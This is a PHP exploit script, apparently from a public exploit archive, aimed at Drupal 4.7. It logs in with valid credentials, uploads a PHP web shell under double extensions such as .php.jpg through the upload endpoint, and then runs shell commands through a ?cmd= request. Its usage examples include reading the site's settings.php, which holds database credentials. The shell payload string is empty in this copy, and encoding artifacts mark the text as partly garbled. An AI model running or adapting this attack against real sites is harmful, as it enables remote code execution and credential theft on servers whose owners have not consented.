#!/usr/bin/php -q -d short_open_tag=on=0D
rgod@autistici.org\r\n";=0D 
echo "site: http://retrogod.altervista.org\r\n\r\n";=0D 
=0D
/*=0D
this works with a user account with upload rights and with permissions to modify=0D
stories, however this is only a poc, you can do the same uploading an attachment=0D
through any module, like this, with double extension, through all modules:=0D
=0D
attach.php.pps=0D
=0D
with this content:=0D
*/=0D
=0D
$shell==0D
'';=0D
=0D
/*=0D
then:=0D
=0D
http://[target]/[path]/files/attach.php.pps?cmd=ls%20-la=0D 
=0D
also, I noticed that from an admin account you can upload .php3 or .php5 files=0D
*/=0D
=0D
if ($argc<6) {=0D
echo "Usage: php ".$argv[0]." host path user pass cmd OPTIONS\r\n";=0D
echo "host:      target server (ip/hostname)\r\n";=0D
echo "path:      path to Drupal\r\n";=0D
echo "user-pass: valid credentials with upload rights\r\n";=0D
echo "cmd:       a shell command\r\n";=0D
echo "Options:\r\n";=0D
echo "   -p[port]:    specify a port other than 80\r\n";=0D
echo "   -P[ip:port]: specify a proxy\r\n";=0D
echo "Examples:\r\n";=0D
echo "php ".$argv[0]." localhost /drupal/ user password cat ./../sites/default/settings.php\r\n";=0D
echo "php ".$argv[0]." localhost /drupal/ user password ls -la -p81\r\n";=0D
echo "php ".$argv[0]." localhost / user password ls -la -P1.1.1.1:80\r\n";=0D
die;=0D
}=0D
=0D
ini_set("max_execution_time",0);=0D
ini_set("default_socket_timeout",5);=0D
=0D
function quick_dump($string)=0D
{=0D
  $result='';$exa='';$cont=0;=0D
  for ($i=0; $i<=strlen($string)-1; $i++)=0D
  {=0D
   if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))=0D
   {$result.="  .";}=0D
   else=0D
   {$result.="  ".$string[$i];}=0D
   if (strlen(dechex(ord($string[$i])))==2)=0D
   {$exa.=" ".dechex(ord($string[$i]));}=0D
   else=0D
   {$exa.=" 0".dechex(ord($string[$i]));}=0D
   $cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}=0D
  }=0D
 return $exa."\r\n".$result;=0D
}=0D
$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';=0D
function sendpacketii($packet)=0D
{=0D
  global $proxy, $host, $port, $html, $proxy_regex;=0D
  if ($proxy=='') {=0D
    $ock=fsockopen(gethostbyname($host),$port);=0D
    if (!$ock) {=0D
      echo 'No response from '.$host.':'.$port; die;=0D
    }=0D
  }=0D
  else {=0D
	$c = preg_match($proxy_regex,$proxy);=0D
    if (!$c) {=0D
      echo 'Not a valid proxy...';die;=0D
    }=0D
    $parts=explode(':',$proxy);=0D
    echo "Connecting to ".$parts[0].":".$parts[1]." proxy...\r\n";=0D
    $ock=fsockopen($parts[0],$parts[1]);=0D
    if (!$ock) {=0D
      echo 'No response from proxy...';die;=0D
	}=0D
  }=0D
  fputs($ock,$packet);=0D
  if ($proxy=='') {=0D
    $html='';=0D
    while (!feof($ock)) {=0D
      $html.=fgets($ock);=0D
    }=0D
  }=0D
  else {=0D
    $html='';=0D
    while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {=0D
      $html.=fread($ock,1);=0D
    }=0D
  }=0D
  fclose($ock);=0D
  #debug=0D
  #echo "\r\n".$html;=0D
}=0D
=0D
function make_seed()=0D
{=0D
   list($usec, $sec) = explode(' ', microtime());=0D
   return (float) $sec + ((float) $usec * 100000);=0D
}=0D
=0D
$host=$argv[1];=0D
$path=$argv[2];=0D
$user=$argv[3];=0D
$pass=$argv[4];=0D
$cmd="";$port=80;$proxy="";=0D
=0D
for ($i=5; $i<=$argc-1; $i++){=0D
$temp=$argv[$i][0].$argv[$i][1];=0D
if (($temp<>"-p") and ($temp<>"-P"))=0D
{$cmd.=" ".$argv[$i];}=0D
if ($temp=="-p")=0D
{=0D
  $port=str_replace("-p","",$argv[$i]);=0D
}=0D
if ($temp=="-P")=0D
{=0D
  $proxy=str_replace("-P","",$argv[$i]);=0D
}=0D
}=0D
$cmd=urlencode($cmd);=0D
if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;}=0D
if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}=0D 
=0D
srand(make_seed());=0D
$anumber = rand(1,99999);=0D
=0D
  $data ="edit%5Bname%5D=".$user;=0D
  $data.="&edit%5Bpass%5D=".$pass;=0D
  $data.="&edit%5Bform_id%5D=user_login";=0D
  $data.="&op=Log%20in";=0D
  $packet="POST ".$path."?q=user/login&destination=node HTTP/1.0\r\n";=0D
  $packet.="Content-Type: application/x-www-form-urlencoded\r\n";=0D
  $packet.="Accept-Encoding: gzip, deflate\r\n";=0D
  $packet.="Accept-Language: it\r\n";=0D
$packet.="Referer: http://".$host.$path."\r\n";=0D 
  $packet.="Host: ".$host."\r\n";=0D
  $packet.="Content-Length: ".strlen($data)."\r\n";=0D
  $packet.="Cache-Control: no-cache\r\n";=0D
  $packet.="Connection: close\r\n\r\n";=0D
  $packet.=$data;=0D
// echo quick_dump($packet);=0D
  sendpacketii($packet);=0D
  $temp=explode("Set-Cookie: ",$html);=0D
  $temp2=explode(" ",$temp[2]);=0D
  $cookie=$temp2[0];=0D
  echo "\r\nCookie -> ".$cookie."\r\n\r\n";=0D
=0D
=0D
$ext= array(".php.jpg",".php.jpeg",".php.gif", ".php.png",".php.txt",".php.html",".php.doc",".php.xls",".php.pdf",".php.ppt",".php.pps");=0D
=0D
for ($x=0; $x<=count($ext)-1;$x++)=0D
{=0D
echo "Trying with ".$ext[$x]." extension...\r\n";=0D
$d=date("Y-m-d");=0D
$data='-----------------------------7d6381c1b00a2=0D
Content-Disposition: form-data; name="edit[title]"=0D
=0D
titolo=0D
-----------------------------7d6381c1b00a2=0D
Content-Disposition: form-data; name="edit[body]"=0D
=0D
corpo=0D
-----------------------------7d6381c1b00a2=0D
Content-Disposition: form-data; name="edit[format]"=0D
=0D
1=0D
-----------------------------7d6381c1b00a2=0D
Content-Disposition: form-data; name="edit[form_id]"=0D
=0D
story_node_form=0D
-----------------------------7d6381c1b00a2=0D
Content-Disposition: form-data; name="edit[name]"=0D
=0D
'.$user.'=0D
-----------------------------7d6381c1b00a2=0D
Content-Disposition: form-data; name="edit[date]"=0D
=0D
'.$d.' 23:59:59 +0000=0D
-----------------------------7d6381c1b00a2=0D
Content-Disposition: form-data; name="edit[status]"=0D
=0D
1=0D
-----------------------------7d6381c1b00a2=0D
Content-Disposition: form-data; name="edit[promote]"=0D
=0D
1=0D
-----------------------------7d6381c1b00a2=0D
Content-Disposition: form-data; name="edit[comment]"=0D
=0D
2=0D
-----------------------------7d6381c1b00a2=0D
Content-Disposition: form-data; name="edit[path]"=0D
=0D
=0D
-----------------------------7d6381c1b00a2=0D
Content-Disposition: form-data; name="edit[menu][title]"=0D
=0D
=0D
-----------------------------7d6381c1b00a2=0D
Content-Disposition: form-data; name="edit[menu][description]"=0D
=0D
=0D
-----------------------------7d6381c1b00a2=0D
Content-Disposition: form-data; name="edit[menu][pid]"=0D
=0D
1=0D
-----------------------------7d6381c1b00a2=0D
Content-Disposition: form-data; name="edit[menu][path]"=0D
=0D
=0D
-----------------------------7d6381c1b00a2=0D
Content-Disposition: form-data; name="edit[menu][weight]"=0D
=0D
0=0D
-----------------------------7d6381c1b00a2=0D
Content-Disposition: form-data; name="edit[menu][mid]"=0D
=0D
0=0D
-----------------------------7d6381c1b00a2=0D
Content-Disposition: form-data; name="edit[menu][type]"=0D
=0D
86=0D
-----------------------------7d6381c1b00a2=0D
Content-Disposition: form-data; name="edit[upload]"; filename="suntzu'.$anumber.$ext[$x].'"=0D
Content-Type: image/jpeg=0D
=0D
'.$shell.'=0D
-----------------------------7d6381c1b00a2=0D
Content-Disposition: form-data; name="fileop"=0D
=0D
Attach=0D
-----------------------------7d6381c1b00a2=0D
Content-Disposition: form-data; name="edit[fileop]"=0D
=0D
http://'.$host.$path.'?q=upload/js=0D 
-----------------------------7d6381c1b00a2=0D
Content-Disposition: form-data; name="edit[vid]"=0D
=0D
=0D
-----------------------------7d6381c1b00a2--=0D
';=0D
=0D
$packet="POST ".$p."?q=upload/js HTTP/1.0\r\n";=0D
$packet.="Referer: http://".$host.$path."/?q=node/add/story\r\n";=0D 
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d6381c1b00a2\r\n";=0D
$packet.="Host: ".$host."\r\n";=0D
$packet.="Content-Length: ".strlen($data)."\r\n";=0D
$packet.="Cache-Control: no-cache\r\n";=0D
$packet.="Cookie: ".$cookie."\r\n";=0D
$packet.="Connection: Keep-Alive\r\n\r\n";=0D
$packet.=$data;=0D
//echo quick_dump($packet);=0D
sendpacketii($packet);=0D
=0D
$data='-----------------------------7d6318101b00a2=0D
Content-Disposition: form-data; name="edit[title]"=0D
=0D
titolo=0D
-----------------------------7d6318101b00a2=0D
Content-Disposition: form-data; name="edit[body]"=0D
=0D
corpo=0D
-----------------------------7d6318101b00a2=0D
Content-Disposition: form-data; name="edit[format]"=0D
=0D
1=0D
-----------------------------7d6318101b00a2=0D
Content-Disposition: form-data; name="edit[form_id]"=0D
=0D
story_node_form=0D
-----------------------------7d6318101b00a2=0D
Content-Disposition: form-data; name="edit[name]"=0D
=0D
'.$user.'=0D
-----------------------------7d6318101b00a2=0D
Content-Disposition: form-data; name="edit[date]"=0D
=0D
'.$d.' 23:59:59 +0000=0D
-----------------------------7d6318101b00a2=0D
Content-Disposition: form-data; name="edit[status]"=0D
=0D
1=0D
-----------------------------7d6318101b00a2=0D
Content-Disposition: form-data; name="edit[promote]"=0D
=0D
1=0D
-----------------------------7d6318101b00a2=0D
Content-Disposition: form-data; name="edit[comment]"=0D
=0D
2=0D
-----------------------------7d6318101b00a2=0D
Content-Disposition: form-data; name="edit[path]"=0D
=0D
=0D
-----------------------------7d6318101b00a2=0D
Content-Disposition: form-data; name="edit[menu][title]"=0D
=0D
=0D
-----------------------------7d6318101b00a2=0D
Content-Disposition: form-data; name="edit[menu][description]"=0D
=0D
=0D
-----------------------------7d6318101b00a2=0D
Content-Disposition: form-data; name="edit[menu][pid]"=0D
=0D
1=0D
-----------------------------7d6318101b00a2=0D
Content-Disposition: form-data; name="edit[menu][path]"=0D
=0D
=0D
-----------------------------7d6318101b00a2=0D
Content-Disposition: form-data; name="edit[menu][weight]"=0D
=0D
0=0D
-----------------------------7d6318101b00a2=0D
Content-Disposition: form-data; name="edit[menu][mid]"=0D
=0D
0=0D
-----------------------------7d6318101b00a2=0D
Content-Disposition: form-data; name="edit[menu][type]"=0D
=0D
86=0D
-----------------------------7d6318101b00a2=0D
Content-Disposition: form-data; name="edit[files][upload_0][list]"=0D
=0D
1=0D
-----------------------------7d6318101b00a2=0D
Content-Disposition: form-data; name="edit[files][upload_0][description]"=0D
=0D
hello.txt=0D
-----------------------------7d6318101b00a2=0D
Content-Disposition: form-data; name="edit[upload]"; filename=""=0D
Content-Type: image/jpeg=0D
=0D
=0D
-----------------------------7d6318101b00a2=0D
Content-Disposition: form-data; name="edit[fileop]"=0D
=0D
http://'.$host.$path.'?q=upload/js=0D 
-----------------------------7d6318101b00a2=0D
Content-Disposition: form-data; name="edit[vid]"=0D
=0D
=0D
-----------------------------7d6318101b00a2=0D
Content-Disposition: form-data; name="op"=0D
=0D
Submit=0D
-----------------------------7d6318101b00a2--=0D
';=0D
=0D
$packet="POST ".$p."?q=node/add/story HTTP/1.0\r\n";=0D
$packet.="Referer: http://".$host.$path."/?q=node/add/story\r\n";=0D 
$packet.="Content-Type: multipart/form-data; boundary=---------------------------7d6318101b00a2\r\n";=0D
$packet.="Host: ".$host."\r\n";=0D
$packet.="Cache-Control: no-cache\r\n";=0D
$packet.="Content-Length: ".strlen($data)."\r\n";=0D
$packet.="Cookie: ".$cookie."\r\n";=0D
$packet.="Connection: Keep-Alive\r\n\r\n";=0D
$packet.=$data;=0D
//echo quick_dump($packet);=0D
sendpacketii($packet);=0D
=0D
$packet ="GET ".$p."files/suntzu".$anumber.$ext[$x]."?cmd=".$cmd." HTTP/1.0\r\n";=0D
$packet.="Host: ".$host."\r\n";=0D
$packet.="Connection: Close\r\n\r\n";=0D
//echo quick_dump($packet);=0D
sendpacketii($packet);=0D
if (strstr($html,"*deli*"))=0D
{echo "Exploit succeeded...\r\n";=0D
 $temp=explode("*deli*",$html);=0D
 die($temp[1]);=0D
}=0D
}=0D
//if you are here...=0D
echo "Exploit failed...";=0D
?>=0D
=0D
original url: http://retrogod.altervista.org/drupal_47_xpl.html